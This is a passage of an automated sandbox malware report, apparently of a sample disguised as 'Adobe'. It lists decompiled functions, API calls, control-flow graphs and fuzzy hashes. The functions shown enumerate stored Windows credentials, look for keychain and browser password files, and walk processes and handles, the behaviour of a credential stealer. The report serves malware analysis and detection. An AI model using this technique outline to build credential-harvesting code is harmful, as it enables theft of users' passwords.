                                                                                          • Part of subcall function 00418680: GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186AC
                                                                                          • Part of subcall function 00418680: malloc.MSVCRT ref: 004186B7
                                                                                          • Part of subcall function 00418680: free.MSVCRT ref: 004186C7
                                                                                          • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                        • GetDiskFreeSpaceW.KERNELBASE(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 004187D2
                                                                                        • GetDiskFreeSpaceA.KERNEL32(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 004187FA
                                                                                        • free.MSVCRT ref: 00418803
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: DiskFreeSpacefree$FullNamePathVersionmalloc
                                                                                        • String ID:
                                                                                        • API String ID: 1355100292-0
                                                                                        • Opcode ID: 7494654f5416982ac8b8eb6095e1b911d56786f256e13b4958c27deb7a97d588
                                                                                        • Instruction ID: 9f5aa8738ec5ca8fa6c7af21032fcab0d24b7c3e7281463e4f88d86f77cdc7da
                                                                                        • Opcode Fuzzy Hash: 7494654f5416982ac8b8eb6095e1b911d56786f256e13b4958c27deb7a97d588
                                                                                        • Instruction Fuzzy Hash: 2A218776904118AEEB11EBA4CC849EF77BCEF05704F2404AFE551D7181EB784EC58769
                                                                                        Function 0040AE51 Relevance: 3.0, APIs: 2, Instructions: 39fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • FindFirstFileW.KERNELBASE(?,?,?,00000000,00445F58,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AE67
                                                                                        • FindNextFileW.KERNELBASE(?,?,?,00000000,00445F58,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AE83
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: FileFind$FirstNext
                                                                                        • String ID:
                                                                                        • API String ID: 1690352074-0
                                                                                        • Opcode ID: 561b3503b5d493cb0f99635c99673ff26dffc0bbfdea02a94e907e6f5a7ee62d
                                                                                        • Instruction ID: bc213c2af839868520f9a45b85e911a0cf9bcc257b6b56acf9ba21b23a9e6198
                                                                                        • Opcode Fuzzy Hash: 561b3503b5d493cb0f99635c99673ff26dffc0bbfdea02a94e907e6f5a7ee62d
                                                                                        • Instruction Fuzzy Hash: 34F0C877040B005BD761C774D8489C733D89F84320B20063EF56AD32C0EB3899098755
                                                                                        Function 00418981 Relevance: 3.0, APIs: 2, Instructions: 28COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 0041898C
                                                                                        • GetSystemInfo.KERNELBASE(004725C0,?,00000000,004439D6,?,00445FAE,?,?,?,?,?,?), ref: 00418995
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: InfoSystemmemset
                                                                                        • String ID:
                                                                                        • API String ID: 3558857096-0
                                                                                        • Opcode ID: d0407614e71e7ae135e22cefa727abc0102cb379ef2ade91b8070469c4ed11d1
                                                                                        • Instruction ID: bf8bfd662ffca2911032058da6995c9eeb4a28626cb6ee34ade21af96d3a2c90
                                                                                        • Opcode Fuzzy Hash: d0407614e71e7ae135e22cefa727abc0102cb379ef2ade91b8070469c4ed11d1
                                                                                        • Instruction Fuzzy Hash: C0E06531A0163097F22077766C067DF25949F41395F04407BB9049A186EBAC4D8546DE
                                                                                        Function 0044553B Relevance: 44.5, APIs: 23, Strings: 2, Instructions: 758COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 0 44553b-445558 call 44db70 3 445599-4455a2 0->3 4 44555a-44557c call 40c768 call 40bdb0 call 4135f7 0->4 5 4455a8-4455e3 memset call 403988 wcsrchr 3->5 6 4457fb 3->6 38 44558e-445594 call 444b06 4->38 39 44557e-44558c call 4136c0 call 41366b 4->39 15 4455e5 5->15 16 4455e8-4455f9 5->16 10 445800-445809 6->10 13 445856-44585f 10->13 14 44580b-44581e call 40a889 call 403e2d 10->14 18 445861-445874 call 40a889 call 403c9c 13->18 19 4458ac-4458b5 13->19 42 445823-445826 14->42 15->16 22 445672-445683 call 40a889 call 403fbe 16->22 23 4455fb-445601 16->23 49 445879-44587c 18->49 24 44594f-445958 19->24 25 4458bb-44592b memset * 2 call 414c2e call 40b2cc call 409d1f call 409b98 19->25 82 445685 22->82 83 4456b2-4456b5 call 40b1ab 22->83 34 445605-445607 23->34 35 445603 23->35 32 4459f2-4459fa 24->32 33 44595e-4459ce memset * 2 call 414c2e call 40b2cc call 409d1f call 409b98 24->33 134 44592d-445945 call 40b6ef 25->134 135 44594a 25->135 44 445a00-445aa1 memset * 2 call 414c2e call 40b2cc call 409d1f call 40b2cc call 40ae18 32->44 45 445b29-445b32 32->45 153 4459d0-4459e8 call 40b6ef 33->153 154 4459ed 33->154 34->22 41 445609-44560d 34->41 35->34 38->3 39->38 41->22 50 44560f-445641 call 4087b3 call 40a889 call 4454bf 41->50 51 44584c-445854 call 40b1ab 42->51 52 445828 42->52 182 445b08-445b15 call 40ae51 44->182 53 445c7c-445c85 45->53 54 445b38-445b96 memset * 3 45->54 63 4458a2-4458aa call 40b1ab 49->63 64 44587e 49->64 150 445665-445670 call 40b1ab 50->150 151 445643-445663 call 40a9b5 call 4087b3 50->151 51->13 66 44582e-445847 call 40a9b5 call 4087b3 52->66 60 445d1c-445d25 53->60 61 445c8b-445cf3 memset * 2 call 414c2e call 409d1f call 409b98 53->61 67 445bd4-445c72 call 414c2e call 40b2cc call 409d1f call 445389 call 40b2cc call 409d1f call 445389 call 40b2cc call 409d1f call 445389 54->67 68 445b98-445ba0 54->68 87 445fae-445fb2 60->87 88 445d2b-445d3b 60->88 168 445cf5 61->168 169 445cfc-445d03 61->169 63->19 80 445884-44589d call 40a9b5 call 4087b3 64->80 137 445849 66->137 247 445c77 67->247 68->67 81 445ba2-445bcf call 4099c6 call 445403 call 445389 68->81 156 44589f 80->156 81->53 99 44568b-4456a4 call 40a9b5 call 4087b3 82->99 115 4456ba-4456c4 83->115 89 445d3d-445d65 call 409c52 call 40b2cc _wcsicmp 88->89 90 445d88-445e15 memset * 3 call 414c2e call 40b2cc call 409d1f call 409b98 88->90 162 445d67-445d6c 89->162 163 445d71-445d83 call 445093 89->163 196 445e17 90->196 197 445e1e-445e25 90->197 158 4456a9-4456b0 99->158 129 4457f9 115->129 130 4456ca-4456d3 call 413cfa call 413d4c 115->130 129->6 172 4456d8-4456f7 call 40b2cc call 413fa6 130->172 134->135 135->24 137->51 150->115 151->150 153->154 154->32 156->63 158->83 158->99 174 445fa1-445fa9 call 40b6ef 162->174 163->87 168->169 179 445d05-445d13 169->179 180 445d17 169->180 205 4456fd-445796 memset * 4 call 409c70 * 3 172->205 206 4457ea-4457f7 call 413d29 172->206 174->87 179->180 180->60 200 445b17-445b27 call 40aebe 182->200 201 445aa3-445ab0 call 40add4 182->201 196->197 202 445e27-445e59 call 40b2cc call 409d1f call 409b98 197->202 203 445e6b-445e7e call 445093 197->203 200->45 201->182 219 445ab2-445b03 memset call 40b2cc call 409d1f call 445389 201->219 242 445e62-445e69 202->242 243 445e5b 202->243 218 445f67-445f99 call 40b2cc call 409d1f call 409b98 203->218 205->206 246 445798-4457ca call 40b2cc call 409d1f call 409b98 205->246 206->10 218->87 255 445f9b 218->255 219->182 242->203 248 445e83-445ef5 memset call 40b2cc call 409d1f call 40ae18 242->248 243->242 246->206 265 4457cc-4457e5 call 4087b3 246->265 247->53 264 445f4d-445f5a call 40ae51 248->264 255->174 269 445ef7-445f04 call 40add4 264->269 270 445f5c-445f62 call 40aebe 264->270 265->206 269->264 274 445f06-445f38 call 40b2cc call 409d1f call 409b98 269->274 270->218 274->264 281 445f3a-445f48 call 445093 274->281 281->264
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 004455C2
                                                                                        • wcsrchr.MSVCRT ref: 004455DA
                                                                                        • memset.MSVCRT ref: 0044570D
                                                                                        • memset.MSVCRT ref: 00445725
                                                                                          • Part of subcall function 0040C768: _wcslwr.MSVCRT ref: 0040C817
                                                                                          • Part of subcall function 0040C768: wcslen.MSVCRT ref: 0040C82C
                                                                                          • Part of subcall function 0040BDB0: CredEnumerateW.ADVAPI32(00000000,00000000,?,?,?,00000000,?), ref: 0040BDE9
                                                                                          • Part of subcall function 0040BDB0: wcslen.MSVCRT ref: 0040BE06
                                                                                          • Part of subcall function 0040BDB0: wcsncmp.MSVCRT ref: 0040BE38
                                                                                          • Part of subcall function 0040BDB0: memset.MSVCRT ref: 0040BE91
                                                                                          • Part of subcall function 0040BDB0: memcpy.MSVCRT(?,?,?,00000001,?,?,?,00000000,?), ref: 0040BEB2
                                                                                          • Part of subcall function 004135F7: GetProcAddress.KERNEL32(?,00000000), ref: 0041362A
                                                                                        • memset.MSVCRT ref: 0044573D
                                                                                        • memset.MSVCRT ref: 00445755
                                                                                        • memset.MSVCRT ref: 004458CB
                                                                                        • memset.MSVCRT ref: 004458E3
                                                                                        • memset.MSVCRT ref: 0044596E
                                                                                        • memset.MSVCRT ref: 00445A10
                                                                                        • memset.MSVCRT ref: 00445A28
                                                                                        • memset.MSVCRT ref: 00445AC6
                                                                                          • Part of subcall function 00445093: GetFileSize.KERNEL32(00000000,00000000,?,00000000,00000104,00445E7E,?,?,?,?,00000104), ref: 004450AA
                                                                                          • Part of subcall function 00445093: ??2@YAPAXI@Z.MSVCRT(0000000A,?,?,00000104), ref: 004450BE
                                                                                          • Part of subcall function 00445093: memset.MSVCRT ref: 004450CD
                                                                                          • Part of subcall function 00445093: ??3@YAXPAX@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,00000104), ref: 004450F0
                                                                                          • Part of subcall function 00445093: CloseHandle.KERNEL32(00000000,?,?,00000104), ref: 004450F7
                                                                                        • memset.MSVCRT ref: 00445B52
                                                                                        • memset.MSVCRT ref: 00445B6A
                                                                                        • memset.MSVCRT ref: 00445C9B
                                                                                        • memset.MSVCRT ref: 00445CB3
                                                                                        • _wcsicmp.MSVCRT ref: 00445D56
                                                                                        • memset.MSVCRT ref: 00445B82
                                                                                          • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B71C
                                                                                          • Part of subcall function 0040B6EF: wcsrchr.MSVCRT ref: 0040B738
                                                                                          • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B756
                                                                                          • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B7F5
                                                                                          • Part of subcall function 0040B6EF: CreateFileW.KERNELBASE(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0040B80C
                                                                                          • Part of subcall function 0040ADD4: wcscmp.MSVCRT ref: 0040ADF3
                                                                                          • Part of subcall function 0040ADD4: wcscmp.MSVCRT ref: 0040AE04
                                                                                        • memset.MSVCRT ref: 00445986
                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                          • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                          • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                          • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset$wcslen$File$wcscmpwcsrchr$??2@??3@AddressAttributesCloseCreateCredEnumerateHandleProcSize_wcsicmp_wcslwrmemcpywcscatwcscpywcsncmp
                                                                                        • String ID: *.*$Apple Computer\Preferences\keychain.plist
                                                                                        • API String ID: 2263259095-3798722523
                                                                                        • Opcode ID: 60142fc224ce82f33f024026baff3817031bc91c0ca8ee6e0e9eeeaa230f4715
                                                                                        • Instruction ID: 0d822d17a5609fa1e1b699618fc72e24fb48bc28b5d87ede4d5502c71e25afa2
                                                                                        • Opcode Fuzzy Hash: 60142fc224ce82f33f024026baff3817031bc91c0ca8ee6e0e9eeeaa230f4715
                                                                                        • Instruction Fuzzy Hash: ED4278B29005196BEB10E761DD46EDFB37CEF45358F1001ABF508A2193EB385E948B9A
                                                                                        Function 0041276D Relevance: 35.1, APIs: 17, Strings: 3, Instructions: 149COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        APIs
                                                                                          • Part of subcall function 004044A4: LoadLibraryW.KERNEL32(comctl32.dll), ref: 004044C3
                                                                                          • Part of subcall function 004044A4: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 004044D5
                                                                                          • Part of subcall function 004044A4: FreeLibrary.KERNEL32(00000000), ref: 004044E9
                                                                                          • Part of subcall function 004044A4: MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404514
                                                                                        • SetErrorMode.KERNELBASE(00008001), ref: 00412799
                                                                                        • GetModuleHandleW.KERNEL32(00000000,0041493C,00000000), ref: 004127B2
                                                                                        • EnumResourceTypesW.KERNEL32(00000000), ref: 004127B9
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Library$AddressEnumErrorFreeHandleLoadMessageModeModuleProcResourceTypes
                                                                                        • String ID: $/deleteregkey$/savelangfile
                                                                                        • API String ID: 2744995895-28296030
                                                                                        • Opcode ID: 72338f9f39f0fed86814d702f01b1d2779e3084bd08ead6f54537fd18a2fe269
                                                                                        • Instruction ID: bb1d383b9f388563dc7403a66819e695bb2bbb53a4e653fbe84b6d7681309d95
                                                                                        • Opcode Fuzzy Hash: 72338f9f39f0fed86814d702f01b1d2779e3084bd08ead6f54537fd18a2fe269
                                                                                        • Instruction Fuzzy Hash: FC51BEB1608346ABD710AFA6DD88A9F77ECFF81304F40092EF644D2161D778E8558B2A
                                                                                        Function 0040B6EF Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 388fileCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 0040B71C
                                                                                          • Part of subcall function 00409C70: wcscpy.MSVCRT ref: 00409C75
                                                                                          • Part of subcall function 00409C70: wcsrchr.MSVCRT ref: 00409C7D
                                                                                        • wcsrchr.MSVCRT ref: 0040B738
                                                                                        • memset.MSVCRT ref: 0040B756
                                                                                        • memset.MSVCRT ref: 0040B7F5
                                                                                        • CreateFileW.KERNELBASE(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0040B80C
                                                                                        • CopyFileW.KERNEL32(00445FAE,?,00000000,?,?), ref: 0040B82D
                                                                                        • CloseHandle.KERNELBASE(00000000,?,?), ref: 0040B838
                                                                                        • memset.MSVCRT ref: 0040B851
                                                                                        • memset.MSVCRT ref: 0040B8CA
                                                                                        • memcmp.MSVCRT(?,v10,00000003), ref: 0040B9BF
                                                                                          • Part of subcall function 00404423: GetProcAddress.KERNEL32(?,00000000), ref: 00404453
                                                                                          • Part of subcall function 00404423: FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                                                                                        • DeleteFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0040BAE5
                                                                                        • memset.MSVCRT ref: 0040BB53
                                                                                        • memcpy.MSVCRT(?,00000000,?,00000000,00000000,?), ref: 0040BB66
                                                                                        • LocalFree.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 0040BB8D
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset$File$Freewcsrchr$AddressCloseCopyCreateDeleteHandleLibraryLocalProcmemcmpmemcpywcscpy
                                                                                        • String ID: chp$v10
                                                                                        • API String ID: 4165125987-2783969131
                                                                                        • Opcode ID: aa7ff03ddb8a60b54c19e14ecab6b10a2ad5bd81823861da0c4d13f19dc0bdfc
                                                                                        • Instruction ID: 8b5aa87907ec6e815121f1c024adfc7170cbdef62e19f7af032d1a0a82a34a86
                                                                                        • Opcode Fuzzy Hash: aa7ff03ddb8a60b54c19e14ecab6b10a2ad5bd81823861da0c4d13f19dc0bdfc
                                                                                        • Instruction Fuzzy Hash: 32D17372900218AFEB11EB95DC41EEE77B8EF44304F1044BAF509B7191DB789F858B99
                                                                                        Function 0040E2AB Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 165COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 504 40e2ab-40e2ce call 40695d call 406b90 508 40e2d3-40e2d5 504->508 509 40e4a0-40e4af call 4069a3 508->509 510 40e2db-40e300 508->510 512 40e304-40e316 call 406e8f 510->512 516 40e476-40e483 call 406b53 512->516 517 40e31c-40e39b call 40dd50 * 7 memset call 40aa29 512->517 523 40e302 516->523 524 40e489-40e495 call 40aa04 516->524 541 40e3c9-40e3ce 517->541 542 40e39d-40e3ae call 40742e 517->542 523->512 524->509 530 40e497-40e49f free 524->530 530->509 544 40e3d0-40e3d6 541->544 545 40e3d9-40e3de 541->545 549 40e3b0 542->549 550 40e3b3-40e3c1 wcschr 542->550 544->545 547 40e3e0-40e3f1 memcpy 545->547 548 40e3f4-40e3f9 545->548 547->548 551 40e3fb-40e40c memcpy 548->551 552 40e40f-40e414 548->552 549->550 550->541 555 40e3c3-40e3c6 550->555 551->552 553 40e416-40e427 memcpy 552->553 554 40e42a-40e42f 552->554 553->554 556 40e431-40e442 memcpy 554->556 557 40e445-40e44a 554->557 555->541 556->557 558 40e44c-40e45b 557->558 559 40e45e-40e463 557->559 558->559 559->516 560 40e465-40e469 559->560 560->516 561 40e46b-40e473 560->561 561->516
                                                                                        APIs
                                                                                          • Part of subcall function 00406B90: _wcsicmp.MSVCRT ref: 00406BC1
                                                                                          • Part of subcall function 00406E8F: memset.MSVCRT ref: 00406F8B
                                                                                        • free.MSVCRT ref: 0040E49A
                                                                                          • Part of subcall function 0040DD50: _wcsicmp.MSVCRT ref: 0040DD69
                                                                                        • memset.MSVCRT ref: 0040E380
                                                                                          • Part of subcall function 0040AA29: wcslen.MSVCRT ref: 0040AA3C
                                                                                          • Part of subcall function 0040AA29: memcpy.MSVCRT(?,?,00000000,00000001,00401B3C,0044E518,?,00000001,00401B95,?,00401EE4), ref: 0040AA5B
                                                                                        • wcschr.MSVCRT ref: 0040E3B8
                                                                                        • memcpy.MSVCRT(?,-00000121,00000008,0044E518,00000000,00000000,75922EE0), ref: 0040E3EC
                                                                                        • memcpy.MSVCRT(?,-00000121,00000008,0044E518,00000000,00000000,75922EE0), ref: 0040E407
                                                                                        • memcpy.MSVCRT(?,-00000220,00000008,0044E518,00000000,00000000,75922EE0), ref: 0040E422
                                                                                        • memcpy.MSVCRT(?,-00000220,00000008,0044E518,00000000,00000000,75922EE0), ref: 0040E43D
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memcpy$_wcsicmpmemset$freewcschrwcslen
                                                                                        • String ID: $AccessCount$AccessedTime$CreationTime$EntryID$ExpiryTime$ModifiedTime$Url
                                                                                        • API String ID: 3849927982-2252543386
                                                                                        • Opcode ID: c30480054a5ca474dc40abe6212bc187cfeb1b733cbf080f7a891c76daa1d321
                                                                                        • Instruction ID: 3bb3cf654da2d90f893253d259683e8481abe175d229eeda5eb464894a91a1db
                                                                                        • Opcode Fuzzy Hash: c30480054a5ca474dc40abe6212bc187cfeb1b733cbf080f7a891c76daa1d321
                                                                                        • Instruction Fuzzy Hash: DA512071E00309ABDF10EFA6DC45B9EB7B8AF54305F15443BA904F7291E678AA14CB58
                                                                                        Function 004091B8 Relevance: 25.8, APIs: 16, Strings: 1, Instructions: 272COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 562 4091b8-40921b memset call 40a6e6 call 444432 567 409520-409526 562->567 568 409221-40923b call 40b273 call 438552 562->568 572 409240-409248 568->572 573 409383-4093ab call 40b273 call 438552 572->573 574 40924e-409258 call 4251c4 572->574 586 4093b1 573->586 587 4094ff-40950b call 443d90 573->587 579 40937b-40937e call 424f26 574->579 580 40925e-409291 call 4253cf * 2 call 4253af * 2 574->580 579->573 580->579 610 409297-409299 580->610 590 4093d3-4093dd call 4251c4 586->590 587->567 596 40950d-409511 587->596 597 4093b3-4093cc call 4253cf * 2 590->597 598 4093df 590->598 596->567 600 409513-40951d call 408f2f 596->600 597->590 613 4093ce-4093d1 597->613 601 4094f7-4094fa call 424f26 598->601 600->567 601->587 610->579 612 40929f-4092a3 610->612 612->579 614 4092a9-4092ba 612->614 613->590 615 4093e4-4093fb call 4253af * 2 613->615 616 4092bc 614->616 617 4092be-4092e3 memcpy memcmp 614->617 615->601 627 409401-409403 615->627 616->617 618 409333-409345 memcmp 617->618 619 4092e5-4092ec 617->619 618->579 622 409347-40935f memcpy 618->622 619->579 621 4092f2-409331 memcpy * 2 619->621 624 409363-409378 memcpy 621->624 622->624 624->579 627->601 628 409409-40941b memcmp 627->628 628->601 629 409421-409433 memcmp 628->629 630 4094a4-4094b6 memcmp 629->630 631 409435-40943c 629->631 630->601 633 4094b8-4094ed memcpy * 2 630->633 631->601 632 409442-4094a2 memcpy * 3 631->632 634 4094f4 632->634 633->634 634->601
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 004091E2
                                                                                          • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                                                                                        • memcpy.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?,00000143,00000000), ref: 004092C9
                                                                                        • memcmp.MSVCRT(00000000,0045A4F0,00000006,?,?,?,?,?,?,?,?,?,?,?,?,00000143), ref: 004092D9
                                                                                        • memcpy.MSVCRT(?,00000023,?), ref: 0040930C
                                                                                        • memcpy.MSVCRT(?,?,00000010), ref: 00409325
                                                                                        • memcmp.MSVCRT(00000000,0045A4E8,00000006), ref: 0040933B
                                                                                        • memcpy.MSVCRT(?,00000015,?), ref: 00409357
                                                                                        • memcpy.MSVCRT(?,?,00000010), ref: 00409370
                                                                                        • memcmp.MSVCRT(00000000,004599B8,00000010), ref: 00409411
                                                                                        • memcmp.MSVCRT(00000000,0045A500,00000006), ref: 00409429
                                                                                        • memcpy.MSVCRT(?,00000023,?), ref: 00409462
                                                                                        • memcpy.MSVCRT(?,?,00000010), ref: 0040947E
                                                                                        • memcpy.MSVCRT(?,?,00000020), ref: 0040949A
                                                                                        • memcmp.MSVCRT(00000000,0045A4F8,00000006), ref: 004094AC
                                                                                        • memcpy.MSVCRT(?,00000015,?), ref: 004094D0
                                                                                        • memcpy.MSVCRT(?,?,00000020), ref: 004094E8
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memcpy$memcmp$ByteCharMultiWidememset
                                                                                        • String ID:
                                                                                        • API String ID: 3715365532-3916222277
                                                                                        • Opcode ID: 84d8fa7e2563b014b86416b64341180d82413736d9254b8658418cb4f91a0b1c
                                                                                        • Instruction ID: d5c0d9b4f94ac501fd0f2fb5594fd033b2d13f4c98b4255323c8c53c7695c3f7
                                                                                        • Opcode Fuzzy Hash: 84d8fa7e2563b014b86416b64341180d82413736d9254b8658418cb4f91a0b1c
                                                                                        • Instruction Fuzzy Hash: DDA1BA71900605ABDB21EF65D885BAFB7BCAF44304F01043FF945E6282EB78EA458B59
                                                                                        Function 00413D4C Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 142processlibraryloaderCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 635 413d4c-413da0 call 40b633 CreateToolhelp32Snapshot memset Process32FirstW 638 413f00-413f11 Process32NextW 635->638 639 413da5-413ded OpenProcess 638->639 640 413f17-413f24 CloseHandle 638->640 641 413eb0-413eb5 639->641 642 413df3-413e26 memset call 413f27 639->642 641->638 643 413eb7-413ebd 641->643 650 413e79-413e9d call 413959 call 413ca4 642->650 651 413e28-413e35 642->651 645 413ec8-413eda call 4099f4 643->645 646 413ebf-413ec6 free 643->646 648 413edb-413ee2 645->648 646->648 656 413ee4 648->656 657 413ee7-413efe 648->657 662 413ea2-413eae CloseHandle 650->662 654 413e61-413e68 651->654 655 413e37-413e44 GetModuleHandleW 651->655 654->650 660 413e6a-413e76 654->660 655->654 659 413e46-413e5c GetProcAddress 655->659 656->657 657->638 659->654 660->650 662->641
                                                                                        APIs
                                                                                          • Part of subcall function 0040B633: free.MSVCRT ref: 0040B63A
                                                                                        • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,?), ref: 00413D6A
                                                                                        • memset.MSVCRT ref: 00413D7F
                                                                                        • Process32FirstW.KERNEL32(00000000,?), ref: 00413D9B
                                                                                        • OpenProcess.KERNEL32(00000410,00000000,?,?,?,?), ref: 00413DE0
                                                                                        • memset.MSVCRT ref: 00413E07
                                                                                        • GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?), ref: 00413E3C
                                                                                        • GetProcAddress.KERNEL32(00000000,QueryFullProcessImageNameW), ref: 00413E56
                                                                                        • CloseHandle.KERNEL32(?,?,?,?,00000000,?), ref: 00413EA8
                                                                                        • free.MSVCRT ref: 00413EC1
                                                                                        • Process32NextW.KERNEL32(00000000,0000022C), ref: 00413F0A
                                                                                        • CloseHandle.KERNEL32(00000000,00000000,0000022C), ref: 00413F1A
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Handle$CloseProcess32freememset$AddressCreateFirstModuleNextOpenProcProcessSnapshotToolhelp32
                                                                                        • String ID: QueryFullProcessImageNameW$kernel32.dll
                                                                                        • API String ID: 1344430650-1740548384
                                                                                        • Opcode ID: d01459b62e4562fe598c3dda65fe2a12e31c3c57d7bea03f0a3dc75513a8eb61
                                                                                        • Instruction ID: a891ebf292d3308fa7e32b9fbc5d589fb36fb38cf1b6cbdc37d41f3709903cdc
                                                                                        • Opcode Fuzzy Hash: d01459b62e4562fe598c3dda65fe2a12e31c3c57d7bea03f0a3dc75513a8eb61
                                                                                        • Instruction Fuzzy Hash: B4518FB2C00218ABDB10DF5ACC84ADEF7B9AF95305F1041ABE509A3251D7795F84CFA9
                                                                                        Function 0040E01E Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 120fileCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        APIs
                                                                                          • Part of subcall function 0040DD85: memset.MSVCRT ref: 0040DDAD
                                                                                          • Part of subcall function 0040DD85: CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DDD4
                                                                                          • Part of subcall function 0040DD85: NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 0040DE15
                                                                                          • Part of subcall function 0040DD85: CloseHandle.KERNELBASE(C0000004,?,000000FF,00000000,00000104), ref: 0040DE3E
                                                                                          • Part of subcall function 0040DD85: GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 0040DE49
                                                                                          • Part of subcall function 0040DD85: _wcsicmp.MSVCRT ref: 0040DEB2
